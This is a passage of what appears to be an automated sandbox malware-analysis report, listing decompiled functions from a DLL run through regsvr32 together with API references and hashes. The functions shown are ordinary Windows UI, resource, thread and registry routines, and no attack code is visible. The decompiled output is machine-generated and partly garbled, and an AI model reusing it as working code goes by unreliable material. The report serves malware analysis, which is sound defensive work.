							__imp__CoTaskMemFree(_t31[1]);
						}
						return _t17;
					}
					_t18 = _t17 - 1;
					if(_t18 == 0) {
						L13:
						_t17 =  *_t31;
						if(_t17 == 0) {
							goto L17;
						}
						_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
						goto L16;
					}
					_t17 = _t18 - 3;
					if(_t17 == 0) {
						__imp__#9(_t31);
						goto L17;
					}
					_t19 = _t17 - 1;
					if(_t19 == 0) {
						goto L13;
					} else {
						_t17 = _t19 - 0x7b;
						if(_t17 == 0) {
							E6EB5C68A( &_a8, _a12);
							_t17 = _a8;
							if(_t17 != 0) {
								 *((intOrPtr*)( *_t17 + 0x10))(_t17,  *_t31, 0);
								_t17 = _a8;
								if(_t17 != 0) {
									_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
								}
							}
						}
						goto L17;
					}
				}
				_t17 =  *_t31;
				if(_t17 == 0) {
					goto L17;
				} else {
					__imp__#16(_t17);
					goto L16;
				}
			}

APIs

SafeArrayDestroy.OLEAUT32 ref: 6EB5C723
CoTaskMemFree.OLE32(?), ref: 6EB5C7A7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction ID: 09594df3ce8f930a9753588e7bdfa20829d29518224c3df6cb5f32d3e8e9e0dc
Opcode Fuzzy Hash: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction Fuzzy Hash: 60116A301106869BEF859FE5C898B6A7FAAEF16350F10441CFA69CFA90CB35D920CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB476E0 Relevance: 6.1, APIs: 4, Instructions: 61
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB476E0(void* __ebx, void* __ecx, struct tagPOINT _a8, intOrPtr _a12) {
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				void* __edi;
				int _t22;
				void* _t54;

				_t54 = __ecx;
				_t38 = _a8.x;
				_push(_a12);
				_t22 = PtInRect(__ecx + 0x60, _a8.x);
				_t60 = _t22;
				if(_t22 == 0) {
					E6EB47830(_t54,  &_v12, _a8, _a12);
					 *((intOrPtr*)(_t54 + 0x5c)) =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4));
					SendMessageA( *(E6EB4C72D(__ebx,  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4)), GetParent( *(_t54 + 0x20))) + 0x20), 0x401, 1, 0);
					return E6EB4C687(_t54, __eflags);
				} else {
					 *(_t54 + 0x54) = 1;
					E6EB4C72D(__ebx, _t38, SetCapture( *(_t54 + 0x20)));
					return E6EB4C687(_t54, _t60);
				}
			}

0x6eb476ee
0x6eb476f0
0x6eb476f3
0x6eb476f9
0x6eb476ff
0x6eb47701
0x6eb47737
0x6eb47754
0x6eb47770
0x6eb47782
0x6eb47703
0x6eb47707
0x6eb47715
0x6eb47726
0x6eb47726

APIs

PtInRect.USER32(?,?,?), ref: 6EB476F9
SetCapture.USER32 ref: 6EB4770E
GetParent.USER32(?), ref: 6EB47757
SendMessageA.USER32 ref: 6EB47770

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CaptureMessageParentRectSend
String ID:
API String ID: 2415874315-0
Opcode ID: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction ID: bed95845dd85c0796732d38836b1ff5e359afa0bd67a44b6447e59c5605935d7
Opcode Fuzzy Hash: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction Fuzzy Hash: 3611B1B62107549FCB20CFA8D844DAE77ADEB88710F00890DFA558B290CB71E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52E51 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB52E51(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t24;
				void* _t29;
				void* _t31;
				struct HINSTANCE__* _t33;
				signed int _t35;
				signed int _t36;
				void* _t38;
				signed int* _t41;

				_push(__ecx);
				_push(_t29);
				_t38 = __ecx;
				_t43 =  *((intOrPtr*)(__ecx + 0x58));
				_t41 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t33 =  *(E6EB53D20(_t29, __ecx, _t41, _t43) + 0xc);
					_v8 = LoadResource(_t33, FindResourceA(_t33,  *(_t38 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t41 = LockResource(_v8);
				}
				_t31 = 1;
				if(_t41 != 0) {
					_t36 =  *_t41;
					if(_t41[0] != 0xffff) {
						_t24 = _t41[2] & 0x0000ffff;
						_t35 = _t41[3] & 0x0000ffff;
					} else {
						_t36 = _t41[3];
						_t24 = _t41[4] & 0x0000ffff;
						_t35 = _t41[5] & 0x0000ffff;
					}
					if((_t36 & 0x00001801) != 0 || _t24 != 0 || _t35 != 0) {
						_t31 = 0;
					}
				}
				if( *(_t38 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t31;
			}

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 6EB52E79
LoadResource.KERNEL32(?,00000000), ref: 6EB52E81
LockResource.KERNEL32(00000000), ref: 6EB52E93
FreeResource.KERNEL32(00000000), ref: 6EB52EE1

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction ID: 9e106a23ddb4f5e19b62e3fe5a1aaeda22b1f07587976b82618670d057d1cf90
Opcode Fuzzy Hash: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction Fuzzy Hash: 0711B2351017A5EFDB509FD1D844AA6BBB4FF05315F20842DE84253B40D774DD60D760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48DE3 Relevance: 6.1, APIs: 4, Instructions: 59
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E6EB48DE3(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E6EB664FB(0x6eb7742d, __ebx, __edi, __esi);
				_t35 = E6EB47C96(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E6EB48D89(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E6EB667FC( &_a4, 0x6eb8329c);
				asm("int3");
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E6EB48C1B(0, _t36, _t37, _t38, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB48DEA

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

__CxxThrowException@8.LIBCMT ref: 6EB48E20
FormatMessageA.KERNEL32(00001100,00000000,?,00000800,6EB41016,00000000,00000000,00000000,?,00000000,6EB8329C,00000004,6EB41016,00000000,6EB4849C,00000000), ref: 6EB48E4B

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

LocalFree.KERNEL32(6EB41016,6EB41016,00000000,6EB4849C,00000000,00000000,00000000), ref: 6EB48E74

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow__cftof_malloc
String ID:
API String ID: 1808948168-0
Opcode ID: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction ID: 31a39ceedd4ef3a3476894245f9e10f3b88078610ec9fb2635825f787920a702
Opcode Fuzzy Hash: dfbe2309efef08c6541c295d344e1331c8bf63ad0744154d24636d317b06e94a
Instruction Fuzzy Hash: 4B119E71654289EFDF009FE4DC80EAE7FA8FB08354F108929FA29CA294D7318950DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB50AB9 Relevance: 6.1, APIs: 4, Instructions: 57
threadCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EB50AB9(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t44;
				void* _t46;
				intOrPtr* _t52;
				void* _t53;
				void* _t54;

				_t54 = __eflags;
				_t47 = __ecx;
				_t45 = __ebx;
				_push(4);
				E6EB664FB(0x6eb77716, __ebx, __edi, __esi);
				_t52 = __ecx;
				 *((intOrPtr*)(_t53 - 0x10)) = __ecx;
				E6EB5266B(__ebx, __ecx, __edi, __ecx, _t54);
				 *((intOrPtr*)(_t53 - 4)) = 0;
				 *_t52 = 0x6eb7aae4;
				_t55 =  *((intOrPtr*)(_t53 + 8));
				if( *((intOrPtr*)(_t53 + 8)) == 0) {
					 *((intOrPtr*)(_t52 + 0x50)) = 0;
				} else {
					_t44 = E6EB6728C( *((intOrPtr*)(_t53 + 8)));
					_pop(_t47);
					 *((intOrPtr*)(_t52 + 0x50)) = _t44;
				}
				_t46 = E6EB53D20(_t45, 0, _t52, _t55);
				_t56 = _t46;
				if(_t46 == 0) {
					L4:
					E6EB48BA4(_t46, _t47, 0, _t52, _t56);
				}
				_t7 = _t46 + 0x74; // 0x74
				_t47 = _t7;
				_t37 = E6EB507BD(_t46, _t7, 0, _t52, _t56);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t52;
				 *((intOrPtr*)(_t52 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t52 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t46 + 4)) = _t52;
				 *((short*)(_t52 + 0x92)) = 0;
				 *((short*)(_t52 + 0x90)) = 0;
				 *((intOrPtr*)(_t52 + 0x44)) = 0;
				 *((intOrPtr*)(_t52 + 0x7c)) = 0;
				 *((intOrPtr*)(_t52 + 0x64)) = 0;
				 *((intOrPtr*)(_t52 + 0x68)) = 0;
				 *((intOrPtr*)(_t52 + 0x54)) = 0;
				 *((intOrPtr*)(_t52 + 0x60)) = 0;
				 *((intOrPtr*)(_t52 + 0x88)) = 0;
				 *((intOrPtr*)(_t52 + 0x58)) = 0;
				 *((intOrPtr*)(_t52 + 0x48)) = 0;
				 *((intOrPtr*)(_t52 + 0x8c)) = 0;
				 *((intOrPtr*)(_t52 + 0x80)) = 0;
				 *((intOrPtr*)(_t52 + 0x84)) = 0;
				 *((intOrPtr*)(_t52 + 0x70)) = 0;
				 *((intOrPtr*)(_t52 + 0x74)) = 0;
				 *((intOrPtr*)(_t52 + 0x94)) = 0;
				 *((intOrPtr*)(_t52 + 0x9c)) = 0;
				 *((intOrPtr*)(_t52 + 0x5c)) = 0;
				 *((intOrPtr*)(_t52 + 0x6c)) = 0;
				 *((intOrPtr*)(_t52 + 0x98)) = 0x200;
				return E6EB665D3(_t52);
			}

0x6eb50ab9
0x6eb50ab9
0x6eb50ab9
0x6eb50ab9
0x6eb50ac0
0x6eb50ac5
0x6eb50ac7
0x6eb50aca
0x6eb50ad1
0x6eb50ad4
0x6eb50ada
0x6eb50add
0x6eb50aed
0x6eb50adf
0x6eb50ae2
0x6eb50ae7
0x6eb50ae8
0x6eb50ae8
0x6eb50af5
0x6eb50af7
0x6eb50af9
0x6eb50afb
0x6eb50afb
0x6eb50afb
0x6eb50b00
0x6eb50b00
0x6eb50b03
0x6eb50b0a
0x00000000
0x00000000
0x6eb50b0c
0x6eb50b15
0x6eb50b1e
0x6eb50b21
0x6eb50b26
0x6eb50b2d
0x6eb50b34
0x6eb50b37
0x6eb50b3a
0x6eb50b3d
0x6eb50b40
0x6eb50b43
0x6eb50b46
0x6eb50b4c
0x6eb50b4f
0x6eb50b52
0x6eb50b58
0x6eb50b5e
0x6eb50b64
0x6eb50b67
0x6eb50b6a
0x6eb50b70
0x6eb50b76
0x6eb50b79
0x6eb50b7c
0x6eb50b8d

APIs

__EH_prolog3.LIBCMT ref: 6EB50AC0

Part of subcall function 6EB5266B: __EH_prolog3.LIBCMT ref: 6EB52672

__strdup.LIBCMT ref: 6EB50AE2
GetCurrentThread.KERNEL32 ref: 6EB50B0F
GetCurrentThreadId.KERNEL32 ref: 6EB50B18

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: a6d0db37fc32e80318ee250a15bac3a99def16c41b454ccd9d100e6b1b7c72dc
Instruction ID: e8a657439f449997d5795bd453bb776b89b24c29a4a9a9cf1e057daf72f03ecf
Opcode Fuzzy Hash: a6d0db37fc32e80318ee250a15bac3a99def16c41b454ccd9d100e6b1b7c72dc
Instruction Fuzzy Hash: 1E2180B0811B908FC7619FAA858164AFFF8BFA4704F10891FD1AAC7B61DBB0A041CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51883 Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB51883(intOrPtr* __ecx, intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t18;
				struct HRSRC__* _t25;
				void* _t28;
				intOrPtr* _t34;
				void* _t36;
				intOrPtr _t37;
				struct HINSTANCE__* _t39;

				_push(__ecx);
				_t28 = 0;
				_push(_t36);
				_t34 = __ecx;
				_v8 = 0;
				_t40 = _a8;
				if(_a8 == 0) {
					L4:
					_t37 = _a4;
					_a8 = 1;
					if(_t28 != 0) {
						_a8 =  *((intOrPtr*)( *_t34 + 0x20))(_t37, _t28, _a12);
						if(_v8 != 0) {
							FreeResource(_v8);
						}
					}
					if( *((intOrPtr*)(_t37 + 0x4c)) != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t37 + 0x4c)))) + 0xa0))(_a12);
					}
					_t18 = _a8;
					L10:
					return _t18;
				}
				_t39 =  *(E6EB53D20(0, __ecx, _t36, _t40) + 0xc);
				_t25 = FindResourceA(_t39, _a8, 0xf0);
				if(_t25 == 0) {
					goto L4;
				}
				_t18 = LoadResource(_t39, _t25);
				_v8 = _t18;
				if(_t18 == 0) {
					goto L10;
				}
				_t28 = LockResource(_t18);
				goto L4;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB518A9
LoadResource.KERNEL32(?,00000000), ref: 6EB518B5
LockResource.KERNEL32(00000000), ref: 6EB518C3
FreeResource.KERNEL32(00000000), ref: 6EB518F1

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction ID: 499fef11797097eef1719db5797b817085c30da3c6e010f60e212b61edf8c9db
Opcode Fuzzy Hash: 26bb85056c5646234497a42107a630568a90aa4635b6189ed42aa1ec73bdb6dd
Instruction Fuzzy Hash: 39119A31200A5AEFEF019F91C898AAEBBB9EF05365F058069F916A7350CB70D914CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB569A8 Relevance: 6.1, APIs: 4, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB569A8(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					swprintf( &_v24, 0x10, 0x6eb7b0d8, _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(_t30 + 0x68));
				} else {
					_t30 = E6EB56960(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E6EB63DE0(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 6EB569E3
RegCloseKey.ADVAPI32(00000000), ref: 6EB569EC
swprintf.LIBCMT ref: 6EB56A09
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 6EB56A1A

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWriteswprintf
String ID:
API String ID: 22681860-0
Opcode ID: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction ID: 6fffeb03748cba9f614f09234440310d9868fe5b66b7ddd310df71ae712dcdd5
Opcode Fuzzy Hash: 78b57b4fa094a6a9f004138381d64eaa11e6fa446942c2c18e3ebb95d8b2b219
Instruction Fuzzy Hash: BA01A17252065ABBDB109FA48C44FAF7BBCEB49714F010429F512A7284DA70E91587A4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4E3A5 Relevance: 6.1, APIs: 4, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB4E3A5(intOrPtr* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t14;
				intOrPtr* _t19;
				void* _t20;

				_t21 = __ecx;
				_t19 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x128))() != 0) {
					_t21 = __ecx;
					 *((intOrPtr*)( *__ecx + 0x188))();
				}
				SendMessageA( *(_t19 + 0x20), 0x1f, 0, 0);
				E6EB4D0B7(_t19, _t21,  *(_t19 + 0x20), 0x1f, 0, 0, 1, 1);
				_t22 = _t19;
				_t20 = E6EB4DAA2(_t19, _t19, 0);
				_t26 = _t20;
				if(_t20 == 0) {
					E6EB48BA4(_t20, _t22, 0, SendMessageA, _t26);
				}
				SendMessageA( *(_t20 + 0x20), 0x1f, 0, 0);
				E6EB4D0B7(_t20, _t22,  *(_t20 + 0x20), 0x1f, 0, 0, 1, 1);
				_t14 = GetCapture();
				if(_t14 != 0) {
					return SendMessageA(_t14, 0x1f, 0, 0);
				}
				return _t14;
			}

0x6eb4e3a5
0x6eb4e3a9
0x6eb4e3b6
0x6eb4e3ba
0x6eb4e3bc
0x6eb4e3bc
0x6eb4e3d1
0x6eb4e3de
0x6eb4e3e3
0x6eb4e3ea
0x6eb4e3ec
0x6eb4e3ee
0x6eb4e3f0
0x6eb4e3f0
0x6eb4e3fc
0x6eb4e409
0x6eb4e40e
0x6eb4e416
0x00000000
0x6eb4e41d
0x6eb4e422

APIs

SendMessageA.USER32 ref: 6EB4E3D1
SendMessageA.USER32 ref: 6EB4E3FC
GetCapture.USER32 ref: 6EB4E40E
SendMessageA.USER32 ref: 6EB4E41D

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend$Capture
String ID:
API String ID: 1665607226-0
Opcode ID: 0eb6f2b63403a717ecd068131b2663926bf2f89bf868e87c9798d53511044722
Instruction ID: 532732862949dd6058e3d8453d97b4054056286729b8064c5fcb425d306b921b
Opcode Fuzzy Hash: 0eb6f2b63403a717ecd068131b2663926bf2f89bf868e87c9798d53511044722
Instruction Fuzzy Hash: 29012931350295B7DF3157A28CCDFDF3E79DBC9B10F110578B7059E19ACA518440E660

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46780 Relevance: 6.1, APIs: 4, Instructions: 53
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB46780(void* __ecx, intOrPtr _a4) {
				void* __esi;
				void* _t41;
				void* _t43;

				_t41 = __ecx;
				if(_a4 == 1) {
					_t38 =  *(__ecx + 0x168);
					_t43 = __ecx + 0x148;
					SendMessageA( *(__ecx + 0x168), 0x405, 1, 0xff - ( *(__ecx + 0xd8) & 0x000000ff));
					E6EB412C0(_t38, _t43);
					SendMessageA( *(_t41 + 0x270), 0x405, 1, 0xff - ( *(_t41 + 0xd9) & 0x000000ff));
					E6EB412C0( *(_t41 + 0x270), _t41 + 0x250);
					SendMessageA( *(_t41 + 0x2f4), 0x405, 1, 0xff - ( *(_t41 + 0xda) & 0x000000ff));
					E6EB412C0( *(_t41 + 0x2f4), _t41 + 0x2d4);
					SendMessageA( *(_t41 + 0x20), 0x115, 0,  *(_t41 + 0x168));
				}
				return 1;
			}

0x6eb46788
0x6eb4678a
0x6eb46797
0x6eb467af
0x6eb467bb
0x6eb467bd
0x6eb467e5
0x6eb467e7
0x6eb4680f
0x6eb46811
0x6eb46828
0x6eb4682b
0x6eb46832

APIs

SendMessageA.USER32 ref: 6EB467BB

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

SendMessageA.USER32 ref: 6EB467E5
SendMessageA.USER32 ref: 6EB4680F
SendMessageA.USER32 ref: 6EB46828

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f26e35bce5cc69b8ccefddfff0fccb92fd97b6478bee4e0f4e1311b2f1938e95
Instruction ID: a27f244de4fe0137d53a47243c1f1875861b985095d66f1c0f017121dbc10287
Opcode Fuzzy Hash: f26e35bce5cc69b8ccefddfff0fccb92fd97b6478bee4e0f4e1311b2f1938e95
Instruction Fuzzy Hash: 5911A1763506127AE6089AB48C95FFAF768FB48700F004729B714A72C4EBB4F81197A4

